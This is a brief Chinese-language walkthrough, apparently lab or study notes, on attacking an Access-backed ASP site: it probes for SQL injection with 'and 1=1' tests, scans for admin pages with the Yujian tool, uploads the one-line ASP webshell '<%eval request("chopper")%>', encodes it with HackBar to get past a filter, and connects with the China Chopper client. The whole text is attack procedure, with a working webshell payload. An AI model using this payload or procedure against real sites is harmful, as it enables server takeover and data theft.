access数据库进阶版

sql注入（防注入)

①使用and1=1  和and1=2

报错

使用御剑后台扫描工具扫出sqlin.asp

利用一句话木马上传 ASP: <%eval request("chopper")%>

发现过滤掉了

利用火狐的hackbar 对一句话进行编码

使用菜刀连接